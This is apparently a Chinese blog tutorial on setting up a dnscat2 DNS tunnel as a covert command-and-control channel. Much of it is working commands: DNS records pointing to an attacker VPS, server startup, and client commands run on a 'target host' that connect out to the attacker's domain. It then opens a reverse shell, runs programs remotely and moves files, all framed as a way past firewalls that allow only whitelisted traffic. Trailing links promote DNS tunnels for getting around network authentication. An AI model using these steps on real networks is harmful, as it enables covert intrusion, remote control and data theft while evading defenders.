域名购买网站:https://dcc.godaddy.com/ 购买域名,并且注册网站,应用该模块
安装服务端:
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
cd dnscat2/server
git clone https://github.com/iagox86/dnscat2.git
编译
bundle install
中继模式启动服务端
sudo ruby ./dnscat2.rb vpn.xxx -e open -c 密码.com --no-cache
被控端连接
windwos:dnscat2-v0.07-client-win32.exe --dns domain=vpn.xxx.xxx --secret xxx.com

目录

dnscat2

搭建dnscat2隧道步骤

(1):部署域名解析

(2):安装dnscat2服务端

(3):在目标主机上安装dnscat2客户端

(4):测试客户端服务端是否连通

中继模式建立隧道

服务端

客户端

执行命令


dnscat2

dnscat2是一款开源软件,使用DNS协议创建加密的C&C通道,通过预共享密钥进行身份验证;使用Shell及DNS查询类型(TXT、MX、CNAME、A、AAAA),多个同时进行的会话类似于SSH中的隧道。dnscat2的客户端是有Windows版和Linux版,服务端是用Ruby语言编写的。严格的说,dnscat2是一个命令与控制工具。

使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
  • 中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。与直连模式相比,中继模式的速度较慢

如果目标内网放行所有的DNS请求,dnscat2会使用直连模式,通过UDP的53端口进行通信(不需要域名,速度快,而且看上去仍然像普通的DNS查询)。在请求日志中,所有的域名都是以 dnscat 开头的,因此防火墙可以很容易地将直连模式的通信检测出来。

如果目标内网的请求仅限于白名单服务器或指定的域,dnscat2会使用中继模式来申请一个域名,并将运行dnscat2服务端的服务器指定为受信任的DNS服务器。

DNS隧道的应用场景如下:在安全策略严格的内网环境中,常见的 C&C 通信端口会被众多安全设备所监控,该网段只允许白名单流量出站,同时其他端口都被屏蔽,传统的C&C通信无法建立。这种情况下,可以通过使用DNS建立隐蔽隧道来进行通信。

dnscat2通过DNS进行控制并执行命令。与同类工具相比,dnscat2具有如下特点:

  • 支持多个会话
  • 流量加密
  • 使用密钥防止MiTM攻击
  • 在内存中直接执行PowerShell脚本
  • 隐蔽通信

搭建dnscat2隧道步骤

(1):部署域名解析

首先,用一台公网的Linux系统的VPS作为C&C服务器(注意:VPS的53端口一定要开放),并准备好一个可以配置的域名(这里我们假设是hack.com)。然后,去配置域名的记录。首先创建记录A,将自己的域名 www.hack.com 解析到VPS服务器地址。然后,创建NS记录,将 test.hack.com 指向 www.hack.com 。

  • 第一条A类解析是在告诉域名系统,www.hack.com 的IP地址是 xx.xx.xx.xx 。
  • 第二条NS解析是在告诉域名系统,想要知道 test.hack.com 的IP地址,就去问 www.hack.com 。

为什么要设置NS类型的记录呢?因为NS类型的记录不是用于设置某个域名的DNS服务器的,而是用于设置某个子域名的DNS服务器的。

如何验证域名解析设置是否成功?
在随便一台电脑上ping域名 www.hack.com ,若能ping通,且显示的IP地址是我们配置的VPS的地址,说明第一条A类解析设置成功并已生效。

然后在我们的VPS上执行以下命令监听UDP53端口

tcpdump -n -i eth0 udp dst port 53

在任意一台机器上执行  nslookup test.hack.com 命令,如果在我们的VPS监听的端口有查询信息,说明第二条记录设置成功

(2):安装dnscat2服务端

在VPN服务器上安装dnscat2服务端。

  1. git clone https://github.com/iagox86/dnscat2.git
  2. cd dnscat2/server/
  3. gem install bundler
  4. bundle install

(3):在目标主机上安装dnscat2客户端

dnscat2客户端是用C语言编写的,因此在使用前需要先进行编译。

  • 如果目标服务器是Windows系统,则可以直接使用编译好的dnscat2客户端,或者PowerShell版本的dnscat2(目标机器需要支持PowerShell2.0以上版本)
  • 如果目标服务器是Linux系统,则需要在目标机器上执行如下命令安装客户端。

Linux安装dnscat2客户端

  1. git clone https://github.com/iagox86/dnscat2.git
  2. cd dnscat2/client/
  3. make

(4):测试客户端服务端是否连通

服务器目前在监听状态,执行以下命令测试客户端能否与服务器进行通信

dnscat2-v0.07-client-win32.exe --ping test.hack.com

可以看到,服务器收到了客户端的请求

中继模式建立隧道

服务端

服务端执行以下模式进行监听

  1. ruby ./dnscat2.rb test.hack.com -e open -c root@123456 --no-cache
  2. -e:指定安全级别,open表示服务端运行客户端不进行加密
  3. -c:指定密钥
  4. --no-cache:禁止缓存,一定添加该选项,因为powershell-dnscat2客户端域dnscat2服务端的Caching模式不兼容

客户端

客户端(C语言版本的)执行以下命令,连接服务端

dnscat2-v0.07-client-win32.exe --dns domain=test.hack.com --secret=root@123456

如下,客户端显示 Session established! ,表示连接成功。

客户端(PowerShell版本)执行以下命令,连接服务端

  1. Import-Module .\dnscat2.ps1
  2. start-Dnscat2 -Domain test.hack.com --secret=root@123456

客户端(Linux版本)执行以下命令,连接服务端

  1. cd dnscat2/client
  2. ./dnscat --dns domain=test.hack.com --secret=root@123456

执行命令

我们服务端这边也会显示New window created:1 ,说明新建了一个session

然后我们执行下面命令

  1. sessions #查看当前建立的session
  2. windows #查看当前建立的session,和sessions一样
  3. session -i 1 #进入第一个session,和MSF一样
  4. window -i 1 #进入第一个session,和session -i 1一样
  5. help #查看命令帮助
  6. clear:清屏
  7. delay:修改远程响应延时
  8. exec :执行远程机器上的指定程序,例如PowerShell或VBS
  9. shell:得到一个反弹的shell
  10. download、upload:上传、下载文件,速度较慢,适合小文件
  11. suspend:返回上一层,相当于使用快捷键 Ctrl+Z
  12. listen:类似于SSH隧道的-L参数(本地转发)
  13. ping:用于确认目标机器是否在线,若返回pong,说明目标机器在线
  14. shutdown:切断当前会话
  15. quit:退出dnscat2控制台
  16. kill id:切断通道
  17. set:设置值,例如设置 security=open

我们执行 shell,然后会反弹一个shell过来。接着执行 suspend 返回上一层,sessions查看,可以看到现在有两个session了。session -i 2进入反弹回来的shell,我们就可以执行CMD命令了

  1. shell #得到一个反弹的shell
  2. suspend #返回上一层
  3. session -i 2 #进入反弹过来的shell

dnscat2搭建dns隧道相关推荐

  1. 使用dns2tcp搭建DNS隧道

    首发于 若水斋 0x00 问题场景 假设有如下图所示的问题场景. 办公电脑通过防火墙与互联网相连,防火墙被配置为仅允许DNS数据通过.在此场景下,办公电脑显然无法直接访问互联网.现在我们想做的是通过使 ...

  2. dns2tcp搭建DNS隧道绕过校园网

    1.问题场景 在学校是如果校园网没钱了,难道就不能上网了???? 对于从事技术的人来说尤其是学计算机出身的人来说这是不能容忍的 我们看下面场景:当我们校园网没有认证时,连接百度时会出现下面情景: 并且 ...

  3. 使用DNS2TCP搭建DNS隧道,绕过网络认证,实现免验证上网

    使用DNS2TCP搭建DNS隧道,绕过网络认证,实现免验证上网 正常情况下,当我们连上酒店或者其他需要验证才可以使用的网络后,虽然上不了网,但是我们的计算机却分配到了IP地址(不分配IP地址web认证 ...

  4. DNS隧道之DNS2TCP实现——dns2tcpc必须带server IP才可以,此外ssh可以穿过墙的,设置代理上网...

    我自己的命令: server端: dns2tcpd -F -d 1 -f ./dns2tcpd.conf 输出: 09:08:59 : Debug options.c:97 Add resource ...

  5. DNS隧道之DNS2TCP使用心得教程——是可以用来穿透qiang的,ubuntu下直接apt install dns2tcp...

    DNS隧道之DNS2TCP使用心得教程 转自:http://blog.creke.net/750.html DNS2TCP是在上次DNS隧道大检阅时提到的一个DNS隧道. 在2010年6月的更新(也是 ...

  6. 【房间墙上凿个洞,看你在干嘛~】安全攻防内网渗透-绕过防火墙和安全检测,搭建DNS隐蔽隧道

    作者:Eason_LYC 悲观者预言失败,十言九中. 乐观者创造奇迹,一次即可. 一个人的价值,在于他所拥有的.所以可以不学无术,但不能一无所有! 技术领域:WEB安全.网络攻防 关注WEB安全.网络 ...

  7. 红蓝对抗之隧道技术第二篇(reGeorg内网穿透、SSH隧道本地Socks代理、SSH远程转发、Earthworm Socks5代理、Tunna正向代理、ICMP隧道、DNS隧道、Frp穿透)

    文章目录 隧道应用 reGeorg内网穿透 SSH本地转发(正向) 场景一 场景二 SSH远程转发(反向) Earthworm Socks5代理 正向代理 反向代理 Tunna正向代理 ICMP隧道 ...

  8. DNS 隧道数据集调研

    调研了一圈发现DNS隧道的数据集,基本上都是工具构建的,刚刚开始的时候,以为国内学术界是这样的,后来发现,国外学术界也是这样的,心照不宣.我开放了一套DNS隧道数据集,包括dnscat2.dns2tc ...

  9. DNS隧道工具dns2tcp

    DNS隧道工具dns2tcp 在很多网络环境中,防火墙会限制出站流量,主机往往只能访问外网主机有限的几个端口,如DNS的53端口.这时,就可以通过DNS请求和响应机制,建立通信隧道.Kali Linu ...

最新文章

  1. Python Open Source Project List
  2. 【我的区块链之路】- Hyperledger fabric的简单入门(四)链码的编写及调试
  3. Exp2 后门原理与实践 20164309
  4. 阿里 P8 聊分布式事务最终一致性的 6 种解决方案
  5. postgresql 目录结构
  6. Oracle 10.2.0.5升级至11.2.0.4
  7. mysql如何建外建_mysql如何建立外键
  8. IOS基础:ActionSheet(上拉菜单)的实现
  9. resultset需要关闭吗_Java程序员都需要懂的「反射」
  10. [转]Gson的基本使用
  11. 关于SQL Server的日期时间数据类型
  12. 自建ca根证书_独立根CA的安装与证书申请
  13. go 怎么等待所有的协程完成_Go语言中的sync.Cond 的特点与用法
  14. 思科网络设备模拟器GNS3与SecureCRT关联
  15. java linux任务管理器_Linux系列教程(二十四)——Linux的系统管理
  16. 什么是JBPM工作流
  17. 集体智慧编程chapter5:优化问题
  18. 微信隐藏代码大全(来源于网络)
  19. 春招 巨杉数据库面试
  20. 键盘控制盒子移动案例

热门文章

  1. mysql模糊查询(详细的解析与例句)-建议收藏
  2. PHP面试题:mysql_fetch_row() 和mysql_fetch_array之间有什么区别?
  3. 【万能小说分析】【python】【词频分析】【词频统计】【jieba】【matplotlib】【wordcloud】【绘图】
  4. MongoDB 语法和mysql语法对比学习
  5. 常见的社会潜规则有哪些?
  6. webpack中跨域请求proxy代理(vue与react脚手架不同设置方法)
  7. springboot(三):Spring boot中Redis的使用
  8. [Laravel框架学习一]:Laravel框架的安装以及 Composer的安装
  9. FJUT寒假第一周作业浮点数查寻题解
  10. break 与continue的区别